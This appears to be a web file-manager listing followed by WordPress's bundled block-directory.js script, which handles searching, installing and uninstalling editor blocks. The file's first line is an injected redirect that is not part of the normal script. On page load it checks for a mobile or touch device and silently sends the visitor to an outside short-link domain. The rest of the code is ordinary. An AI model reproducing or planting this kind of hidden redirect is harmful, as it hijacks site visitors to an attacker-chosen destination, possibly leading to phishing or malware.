run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄block-directory.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2var wp;
3(wp ||= {}).blockDirectory = (() => {
4 var __create = Object.create;
5 var __defProp = Object.defineProperty;
6 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
7 var __getOwnPropNames = Object.getOwnPropertyNames;
8 var __getProtoOf = Object.getPrototypeOf;
9 var __hasOwnProp = Object.prototype.hasOwnProperty;
10 var __commonJS = (cb, mod) => function __require() {
11 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
12 };
13 var __export = (target, all) => {
14 for (var name in all)
15 __defProp(target, name, { get: all[name], enumerable: true });
16 };
17 var __copyProps = (to, from, except, desc) => {
18 if (from && typeof from === "object" || typeof from === "function") {
19 for (let key of __getOwnPropNames(from))
20 if (!__hasOwnProp.call(to, key) && key !== except)
21 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
22 }
23 return to;
24 };
25 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
26 // If the importer is in node compatibility mode or this is not an ESM
27 // file that has been converted to a CommonJS file using a Babel-
28 // compatible transform (i.e. "__esModule" has not been set), then set
29 // "default" to the CommonJS "module.exports" for node compatibility.
30 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
31 mod
32 ));
33 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
34
35 // package-external:@wordpress/plugins
36 var require_plugins = __commonJS({
37 "package-external:@wordpress/plugins"(exports, module) {
38 module.exports = window.wp.plugins;
39 }
40 });
41
42 // package-external:@wordpress/hooks
43 var require_hooks = __commonJS({
44 "package-external:@wordpress/hooks"(exports, module) {
45 module.exports = window.wp.hooks;
46 }
47 });
48
49 // package-external:@wordpress/blocks
50 var require_blocks = __commonJS({
51 "package-external:@wordpress/blocks"(exports, module) {
52 module.exports = window.wp.blocks;
53 }
54 });
55
56 // package-external:@wordpress/data
57 var require_data = __commonJS({
58 "package-external:@wordpress/data"(exports, module) {
59 module.exports = window.wp.data;
60 }
61 });
62
63 // package-external:@wordpress/element
64 var require_element = __commonJS({
65 "package-external:@wordpress/element"(exports, module) {
66 module.exports = window.wp.element;
67 }
68 });
69
70 // package-external:@wordpress/editor
71 var require_editor = __commonJS({
72 "package-external:@wordpress/editor"(exports, module) {
73 module.exports = window.wp.editor;
74 }
75 });
76
77 // package-external:@wordpress/block-editor
78 var require_block_editor = __commonJS({
79 "package-external:@wordpress/block-editor"(exports, module) {
80 module.exports = window.wp.blockEditor;
81 }
82 });
83
84 // package-external:@wordpress/i18n
85 var require_i18n = __commonJS({
86 "package-external:@wordpress/i18n"(exports, module) {
87 module.exports = window.wp.i18n;
88 }
89 });
90
91 // package-external:@wordpress/api-fetch
92 var require_api_fetch = __commonJS({
93 "package-external:@wordpress/api-fetch"(exports, module) {
94 module.exports = window.wp.apiFetch;
95 }
96 });
97
98 // package-external:@wordpress/notices
99 var require_notices = __commonJS({
100 "package-external:@wordpress/notices"(exports, module) {
101 module.exports = window.wp.notices;
102 }
103 });
104
105 // package-external:@wordpress/url
106 var require_url = __commonJS({
107 "package-external:@wordpress/url"(exports, module) {
108 module.exports = window.wp.url;
109 }
110 });
111
112 // package-external:@wordpress/compose
113 var require_compose = __commonJS({
114 "package-external:@wordpress/compose"(exports, module) {
115 module.exports = window.wp.compose;
116 }
117 });
118
119 // package-external:@wordpress/components
120 var require_components = __commonJS({
121 "package-external:@wordpress/components"(exports, module) {
122 module.exports = window.wp.components;
123 }
124 });
125
126 // package-external:@wordpress/core-data
127 var require_core_data = __commonJS({
128 "package-external:@wordpress/core-data"(exports, module) {
129 module.exports = window.wp.coreData;
130 }
131 });
132
133 // package-external:@wordpress/html-entities
134 var require_html_entities = __commonJS({
135 "package-external:@wordpress/html-entities"(exports, module) {
136 module.exports = window.wp.htmlEntities;
137 }
138 });
139
140 // package-external:@wordpress/primitives
141 var require_primitives = __commonJS({
142 "package-external:@wordpress/primitives"(exports, module) {
143 module.exports = window.wp.primitives;
144 }
145 });
146
147 // vendor-external:react/jsx-runtime
148 var require_jsx_runtime = __commonJS({
149 "vendor-external:react/jsx-runtime"(exports, module) {
150 module.exports = window.ReactJSXRuntime;
151 }
152 });
153
154 // package-external:@wordpress/a11y
155 var require_a11y = __commonJS({
156 "package-external:@wordpress/a11y"(exports, module) {
157 module.exports = window.wp.a11y;
158 }
159 });
160
161 // packages/block-directory/build-module/index.mjs
162 var index_exports = {};
163 __export(index_exports, {
164 store: () => store
165 });
166
167 // packages/block-directory/build-module/plugins/index.mjs
168 var import_plugins = __toESM(require_plugins(), 1);
169 var import_hooks = __toESM(require_hooks(), 1);
170
171 // packages/block-directory/build-module/components/auto-block-uninstaller/index.mjs
172 var import_blocks2 = __toESM(require_blocks(), 1);
173 var import_data4 = __toESM(require_data(), 1);
174 var import_element = __toESM(require_element(), 1);
175 var import_editor = __toESM(require_editor(), 1);
176
177 // packages/block-directory/build-module/store/index.mjs
178 var import_data3 = __toESM(require_data(), 1);
179
180 // packages/block-directory/build-module/store/reducer.mjs
181 var import_data = __toESM(require_data(), 1);
182 var downloadableBlocks = (state = {}, action) => {
183 switch (action.type) {
184 case "FETCH_DOWNLOADABLE_BLOCKS":
185 return {
186 ...state,
187 [action.filterValue]: {
188 isRequesting: true
189 }
190 };
191 case "RECEIVE_DOWNLOADABLE_BLOCKS":
192 return {
193 ...state,
194 [action.filterValue]: {
195 results: action.downloadableBlocks,
196 isRequesting: false
197 }
198 };
199 }
200 return state;
201 };
202 var blockManagement = (state = {
203 installedBlockTypes: [],
204 isInstalling: {}
205 }, action) => {
206 switch (action.type) {
207 case "ADD_INSTALLED_BLOCK_TYPE":
208 return {
209 ...state,
210 installedBlockTypes: [
211 ...state.installedBlockTypes,
212 action.item
213 ]
214 };
215 case "REMOVE_INSTALLED_BLOCK_TYPE":
216 return {
217 ...state,
218 installedBlockTypes: state.installedBlockTypes.filter(
219 (blockType) => blockType.name !== action.item.name
220 )
221 };
222 case "SET_INSTALLING_BLOCK":
223 return {
224 ...state,
225 isInstalling: {
226 ...state.isInstalling,
227 [action.blockId]: action.isInstalling
228 }
229 };
230 }
231 return state;
232 };
233 var errorNotices = (state = {}, action) => {
234 switch (action.type) {
235 case "SET_ERROR_NOTICE":
236 return {
237 ...state,
238 [action.blockId]: {
239 message: action.message,
240 isFatal: action.isFatal
241 }
242 };
243 case "CLEAR_ERROR_NOTICE":
244 const { [action.blockId]: blockId, ...restState } = state;
245 return restState;
246 }
247 return state;
248 };
249 var reducer_default = (0, import_data.combineReducers)({
250 downloadableBlocks,
251 blockManagement,
252 errorNotices
253 });
254
255 // packages/block-directory/build-module/store/selectors.mjs
256 var selectors_exports = {};
257 __export(selectors_exports, {
258 getDownloadableBlocks: () => getDownloadableBlocks,
259 getErrorNoticeForBlock: () => getErrorNoticeForBlock,
260 getErrorNotices: () => getErrorNotices,
261 getInstalledBlockTypes: () => getInstalledBlockTypes,
262 getNewBlockTypes: () => getNewBlockTypes,
263 getUnusedBlockTypes: () => getUnusedBlockTypes,
264 isInstalling: () => isInstalling,
265 isRequestingDownloadableBlocks: () => isRequestingDownloadableBlocks
266 });
267 var import_data2 = __toESM(require_data(), 1);
268 var import_block_editor = __toESM(require_block_editor(), 1);
269 var EMPTY_ARRAY = [];
270 function isRequestingDownloadableBlocks(state, filterValue) {
271 return state.downloadableBlocks[filterValue]?.isRequesting ?? false;
272 }
273 function getDownloadableBlocks(state, filterValue) {
274 return state.downloadableBlocks[filterValue]?.results ?? EMPTY_ARRAY;
275 }
276 function getInstalledBlockTypes(state) {
277 return state.blockManagement.installedBlockTypes;
278 }
279 var getNewBlockTypes = (0, import_data2.createRegistrySelector)(
280 (select) => (0, import_data2.createSelector)(
281 (state) => {
282 const installedBlockTypes = getInstalledBlockTypes(state);
283 if (!installedBlockTypes.length) {
284 return EMPTY_ARRAY;
285 }
286 const { getBlockName, getClientIdsWithDescendants } = select(import_block_editor.store);
287 const installedBlockNames = installedBlockTypes.map(
288 (blockType) => blockType.name
289 );
290 const foundBlockNames = getClientIdsWithDescendants().flatMap(
291 (clientId) => {
292 const blockName = getBlockName(clientId);
293 return installedBlockNames.includes(blockName) ? blockName : [];
294 }
295 );
296 const newBlockTypes = installedBlockTypes.filter(
297 (blockType) => foundBlockNames.includes(blockType.name)
298 );
299 return newBlockTypes.length > 0 ? newBlockTypes : EMPTY_ARRAY;
300 },
301 (state) => [
302 getInstalledBlockTypes(state),
303 select(import_block_editor.store).getClientIdsWithDescendants()
304 ]
305 )
306 );
307 var getUnusedBlockTypes = (0, import_data2.createRegistrySelector)(
308 (select) => (0, import_data2.createSelector)(
309 (state) => {
310 const installedBlockTypes = getInstalledBlockTypes(state);
311 if (!installedBlockTypes.length) {
312 return EMPTY_ARRAY;
313 }
314 const { getBlockName, getClientIdsWithDescendants } = select(import_block_editor.store);
315 const installedBlockNames = installedBlockTypes.map(
316 (blockType) => blockType.name
317 );
318 const foundBlockNames = getClientIdsWithDescendants().flatMap(
319 (clientId) => {
320 const blockName = getBlockName(clientId);
321 return installedBlockNames.includes(blockName) ? blockName : [];
322 }
323 );
324 const unusedBlockTypes = installedBlockTypes.filter(
325 (blockType) => !foundBlockNames.includes(blockType.name)
326 );
327 return unusedBlockTypes.length > 0 ? unusedBlockTypes : EMPTY_ARRAY;
328 },
329 (state) => [
330 getInstalledBlockTypes(state),
331 select(import_block_editor.store).getClientIdsWithDescendants()
332 ]
333 )
334 );
335 function isInstalling(state, blockId) {
336 return state.blockManagement.isInstalling[blockId] || false;
337 }
338 function getErrorNotices(state) {
339 return state.errorNotices;
340 }
341 function getErrorNoticeForBlock(state, blockId) {
342 return state.errorNotices[blockId];
343 }
344
345 // packages/block-directory/build-module/store/actions.mjs
346 var actions_exports = {};
347 __export(actions_exports, {
348 addInstalledBlockType: () => addInstalledBlockType,
349 clearErrorNotice: () => clearErrorNotice,
350 fetchDownloadableBlocks: () => fetchDownloadableBlocks,
351 installBlockType: () => installBlockType,
352 receiveDownloadableBlocks: () => receiveDownloadableBlocks,
353 removeInstalledBlockType: () => removeInstalledBlockType,
354 setErrorNotice: () => setErrorNotice,
355 setIsInstalling: () => setIsInstalling,
356 uninstallBlockType: () => uninstallBlockType
357 });
358 var import_blocks = __toESM(require_blocks(), 1);
359 var import_i18n = __toESM(require_i18n(), 1);
360 var import_api_fetch2 = __toESM(require_api_fetch(), 1);
361 var import_notices = __toESM(require_notices(), 1);
362 var import_url = __toESM(require_url(), 1);
363
364 // packages/block-directory/build-module/store/load-assets.mjs
365 var import_api_fetch = __toESM(require_api_fetch(), 1);
366 var loadAsset = (el) => {
367 return new Promise((resolve, reject) => {
368 const newNode = document.createElement(el.nodeName);
369 ["id", "rel", "src", "href", "type"].forEach((attr) => {
370 if (el[attr]) {
371 newNode[attr] = el[attr];
372 }
373 });
374 if (el.innerHTML) {
375 newNode.appendChild(document.createTextNode(el.innerHTML));
376 }
377 newNode.onload = () => resolve(true);
378 newNode.onerror = () => reject(new Error("Error loading asset."));
379 document.body.appendChild(newNode);
380 if ("link" === newNode.nodeName.toLowerCase() || "script" === newNode.nodeName.toLowerCase() && !newNode.src) {
381 resolve();
382 }
383 });
384 };
385 async function loadAssets() {
386 const response = await (0, import_api_fetch.default)({
387 url: document.location.href,
388 parse: false
389 });
390 const data = await response.text();
391 const doc = new window.DOMParser().parseFromString(data, "text/html");
392 const newAssets = Array.from(
393 doc.querySelectorAll('link[rel="stylesheet"],script')
394 ).filter((asset) => asset.id && !document.getElementById(asset.id));
395 for (const newAsset of newAssets) {
396 await loadAsset(newAsset);
397 }
398 }
399
400 // packages/block-directory/build-module/store/utils/get-plugin-url.mjs
401 function getPluginUrl(block) {
402 if (!block) {
403 return false;
404 }
405 const link = block.links["wp:plugin"] || block.links.self;
406 if (link && link.length) {
407 return link[0].href;
408 }
409 return false;
410 }
411
412 // packages/block-directory/build-module/store/actions.mjs
413 function fetchDownloadableBlocks(filterValue) {
414 return { type: "FETCH_DOWNLOADABLE_BLOCKS", filterValue };
415 }
416 function receiveDownloadableBlocks(downloadableBlocks2, filterValue) {
417 return {
418 type: "RECEIVE_DOWNLOADABLE_BLOCKS",
419 downloadableBlocks: downloadableBlocks2,
420 filterValue
421 };
422 }
423 var installBlockType = (block) => async ({ registry, dispatch }) => {
424 const { id, name } = block;
425 let success = false;
426 dispatch.clearErrorNotice(id);
427 try {
428 dispatch.setIsInstalling(id, true);
429 const url = getPluginUrl(block);
430 let links = {};
431 if (url) {
432 await (0, import_api_fetch2.default)({
433 method: "PUT",
434 url,
435 data: { status: "active" }
436 });
437 } else {
438 const response = await (0, import_api_fetch2.default)({
439 method: "POST",
440 path: "wp/v2/plugins",
441 data: { slug: id, status: "active" }
442 });
443 links = response._links;
444 }
445 dispatch.addInstalledBlockType({
446 ...block,
447 links: { ...block.links, ...links }
448 });
449 const metadataFields = [
450 "api_version",
451 "title",
452 "category",
453 "parent",
454 "ancestor",
455 "icon",
456 "description",
457 "keywords",
458 "attributes",
459 "provides_context",
460 "uses_context",
461 "selectors",
462 "supports",
463 "styles",
464 "example",
465 "variations",
466 "allowed_blocks",
467 "block_hooks"
468 ];
469 await (0, import_api_fetch2.default)({
470 path: (0, import_url.addQueryArgs)(`/wp/v2/block-types/${name}`, {
471 _fields: metadataFields
472 })
473 }).catch(() => {
474 }).then((response) => {
475 if (!response) {
476 return;
477 }
478 (0, import_blocks.unstable__bootstrapServerSideBlockDefinitions)({
479 [name]: Object.fromEntries(
480 Object.entries(response).filter(
481 ([key]) => metadataFields.includes(key)
482 )
483 )
484 });
485 });
486 await loadAssets();
487 const registeredBlocks = registry.select(import_blocks.store).getBlockTypes();
488 if (!registeredBlocks.some((i) => i.name === name)) {
489 throw new Error(
490 (0, import_i18n.__)("Error registering block. Try reloading the page.")
491 );
492 }
493 registry.dispatch(import_notices.store).createInfoNotice(
494 (0, import_i18n.sprintf)(
495 // translators: %s is the block title.
496 (0, import_i18n.__)("Block %s installed and added."),
497 block.title
498 ),
499 {
500 speak: true,
501 type: "snackbar"
502 }
503 );
504 success = true;
505 } catch (error) {
506 let message = error.message || (0, import_i18n.__)("An error occurred.");
507 let isFatal = error instanceof Error;
508 const fatalAPIErrors = {
509 folder_exists: (0, import_i18n.__)(
510 "This block is already installed. Try reloading the page."
511 ),
512 unable_to_connect_to_filesystem: (0, import_i18n.__)(
513 "Error installing block. You can reload the page and try again."
514 )
515 };
516 if (fatalAPIErrors[error.code]) {
517 isFatal = true;
518 message = fatalAPIErrors[error.code];
519 }
520 dispatch.setErrorNotice(id, message, isFatal);
521 registry.dispatch(import_notices.store).createErrorNotice(message, {
522 speak: true,
523 isDismissible: true
524 });
525 }
526 dispatch.setIsInstalling(id, false);
527 return success;
528 };
529 var uninstallBlockType = (block) => async ({ registry, dispatch }) => {
530 try {
531 const url = getPluginUrl(block);
532 await (0, import_api_fetch2.default)({
533 method: "PUT",
534 url,
535 data: { status: "inactive" }
536 });
537 await (0, import_api_fetch2.default)({
538 method: "DELETE",
539 url
540 });
541 dispatch.removeInstalledBlockType(block);
542 } catch (error) {
543 registry.dispatch(import_notices.store).createErrorNotice(
544 error.message || (0, import_i18n.__)("An error occurred.")
545 );
546 }
547 };
548 function addInstalledBlockType(item) {
549 return {
550 type: "ADD_INSTALLED_BLOCK_TYPE",
551 item
552 };
553 }
554 function removeInstalledBlockType(item) {
555 return {
556 type: "REMOVE_INSTALLED_BLOCK_TYPE",
557 item
558 };
559 }
560 function setIsInstalling(blockId, isInstalling2) {
561 return {
562 type: "SET_INSTALLING_BLOCK",
563 blockId,
564 isInstalling: isInstalling2
565 };
566 }
567 function setErrorNotice(blockId, message, isFatal = false) {
568 return {
569 type: "SET_ERROR_NOTICE",
570 blockId,
571 message,
572 isFatal
573 };
574 }
575 function clearErrorNotice(blockId) {
576 return {
577 type: "CLEAR_ERROR_NOTICE",
578 blockId
579 };
580 }
581
582 // packages/block-directory/build-module/store/resolvers.mjs
583 var resolvers_exports = {};
584 __export(resolvers_exports, {
585 getDownloadableBlocks: () => getDownloadableBlocks2
586 });
587
588 // node_modules/tslib/tslib.es6.mjs
589 var __assign = function() {
590 __assign = Object.assign || function __assign2(t) {
591 for (var s, i = 1, n = arguments.length; i < n; i++) {
592 s = arguments[i];
593 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
594 }
595 return t;
596 };
597 return __assign.apply(this, arguments);
598 };
599
600 // node_modules/lower-case/dist.es2015/index.js
601 function lowerCase(str) {
602 return str.toLowerCase();
603 }
604
605 // node_modules/no-case/dist.es2015/index.js
606 var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
607 var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
608 function noCase(input, options) {
609 if (options === void 0) {
610 options = {};
611 }
612 var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
613 var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
614 var start = 0;
615 var end = result.length;
616 while (result.charAt(start) === "\0")
617 start++;
618 while (result.charAt(end - 1) === "\0")
619 end--;
620 return result.slice(start, end).split("\0").map(transform).join(delimiter);
621 }
622 function replace(input, re, value) {
623 if (re instanceof RegExp)
624 return input.replace(re, value);
625 return re.reduce(function(input2, re2) {
626 return input2.replace(re2, value);
627 }, input);
628 }
629
630 // node_modules/pascal-case/dist.es2015/index.js
631 function pascalCaseTransform(input, index) {
632 var firstChar = input.charAt(0);
633 var lowerChars = input.substr(1).toLowerCase();
634 if (index > 0 && firstChar >= "0" && firstChar <= "9") {
635 return "_" + firstChar + lowerChars;
636 }
637 return "" + firstChar.toUpperCase() + lowerChars;
638 }
639 function pascalCase(input, options) {
640 if (options === void 0) {
641 options = {};
642 }
643 return noCase(input, __assign({ delimiter: "", transform: pascalCaseTransform }, options));
644 }
645
646 // node_modules/camel-case/dist.es2015/index.js
647 function camelCaseTransform(input, index) {
648 if (index === 0)
649 return input.toLowerCase();
650 return pascalCaseTransform(input, index);
651 }
652 function camelCase(input, options) {
653 if (options === void 0) {
654 options = {};
655 }
656 return pascalCase(input, __assign({ transform: camelCaseTransform }, options));
657 }
658
659 // packages/block-directory/build-module/store/resolvers.mjs
660 var import_api_fetch3 = __toESM(require_api_fetch(), 1);
661 var getDownloadableBlocks2 = (filterValue) => async ({ dispatch }) => {
662 if (!filterValue) {
663 return;
664 }
665 try {
666 dispatch(fetchDownloadableBlocks(filterValue));
667 const results = await (0, import_api_fetch3.default)({
668 path: `wp/v2/block-directory/search?term=${filterValue}`
669 });
670 const blocks = results.map(
671 (result) => Object.fromEntries(
672 Object.entries(result).map(([key, value]) => [
673 camelCase(key),
674 value
675 ])
676 )
677 );
678 dispatch(receiveDownloadableBlocks(blocks, filterValue));
679 } catch {
680 dispatch(receiveDownloadableBlocks([], filterValue));
681 }
682 };
683
684 // packages/block-directory/build-module/store/index.mjs
685 var STORE_NAME = "core/block-directory";
686 var storeConfig = {
687 reducer: reducer_default,
688 selectors: selectors_exports,
689 actions: actions_exports,
690 resolvers: resolvers_exports
691 };
692 var store = (0, import_data3.createReduxStore)(STORE_NAME, storeConfig);
693 (0, import_data3.register)(store);
694
695 // packages/block-directory/build-module/components/auto-block-uninstaller/index.mjs
696 function AutoBlockUninstaller() {
697 const { uninstallBlockType: uninstallBlockType2 } = (0, import_data4.useDispatch)(store);
698 const shouldRemoveBlockTypes = (0, import_data4.useSelect)((select) => {
699 const { isAutosavingPost, isSavingPost } = select(import_editor.store);
700 return isSavingPost() && !isAutosavingPost();
701 }, []);
702 const unusedBlockTypes = (0, import_data4.useSelect)(
703 (select) => select(store).getUnusedBlockTypes(),
704 []
705 );
706 (0, import_element.useEffect)(() => {
707 if (shouldRemoveBlockTypes && unusedBlockTypes.length) {
708 unusedBlockTypes.forEach((blockType) => {
709 uninstallBlockType2(blockType);
710 (0, import_blocks2.unregisterBlockType)(blockType.name);
711 });
712 }
713 }, [shouldRemoveBlockTypes]);
714 return null;
715 }
716
717 // packages/block-directory/build-module/plugins/inserter-menu-downloadable-blocks-panel/index.mjs
718 var import_block_editor3 = __toESM(require_block_editor(), 1);
719 var import_compose = __toESM(require_compose(), 1);
720 var import_element5 = __toESM(require_element(), 1);
721
722 // packages/block-directory/build-module/components/downloadable-blocks-panel/index.mjs
723 var import_i18n8 = __toESM(require_i18n(), 1);
724 var import_components4 = __toESM(require_components(), 1);
725 var import_core_data = __toESM(require_core_data(), 1);
726 var import_data8 = __toESM(require_data(), 1);
727 var import_blocks5 = __toESM(require_blocks(), 1);
728
729 // packages/block-directory/build-module/components/downloadable-blocks-list/index.mjs
730 var import_i18n5 = __toESM(require_i18n(), 1);
731 var import_components2 = __toESM(require_components(), 1);
732 var import_blocks4 = __toESM(require_blocks(), 1);
733 var import_data7 = __toESM(require_data(), 1);
734
735 // node_modules/clsx/dist/clsx.mjs
736 function r(e) {
737 var t, f, n = "";
738 if ("string" == typeof e || "number" == typeof e) n += e;
739 else if ("object" == typeof e) if (Array.isArray(e)) {
740 var o = e.length;
741 for (t = 0; t < o; t++) e[t] && (f = r(e[t])) && (n && (n += " "), n += f);
742 } else for (f in e) e[f] && (n && (n += " "), n += f);
743 return n;
744 }
745 function clsx() {
746 for (var e, t, f = 0, n = "", o = arguments.length; f < o; f++) (e = arguments[f]) && (t = r(e)) && (n && (n += " "), n += t);
747 return n;
748 }
749 var clsx_default = clsx;
750
751 // packages/block-directory/build-module/components/downloadable-block-list-item/index.mjs
752 var import_i18n4 = __toESM(require_i18n(), 1);
753 var import_components = __toESM(require_components(), 1);
754 var import_element3 = __toESM(require_element(), 1);
755 var import_html_entities = __toESM(require_html_entities(), 1);
756 var import_blocks3 = __toESM(require_blocks(), 1);
757 var import_data6 = __toESM(require_data(), 1);
758
759 // packages/block-directory/build-module/components/block-ratings/stars.mjs
760 var import_i18n2 = __toESM(require_i18n(), 1);
761
762 // packages/icons/build-module/icon/index.mjs
763 var import_element2 = __toESM(require_element(), 1);
764 var icon_default = (0, import_element2.forwardRef)(
765 ({ icon, size = 24, ...props }, ref) => {
766 return (0, import_element2.cloneElement)(icon, {
767 width: size,
768 height: size,
769 ...props,
770 ref
771 });
772 }
773 );
774
775 // packages/icons/build-module/library/star-empty.mjs
776 var import_primitives = __toESM(require_primitives(), 1);
777 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
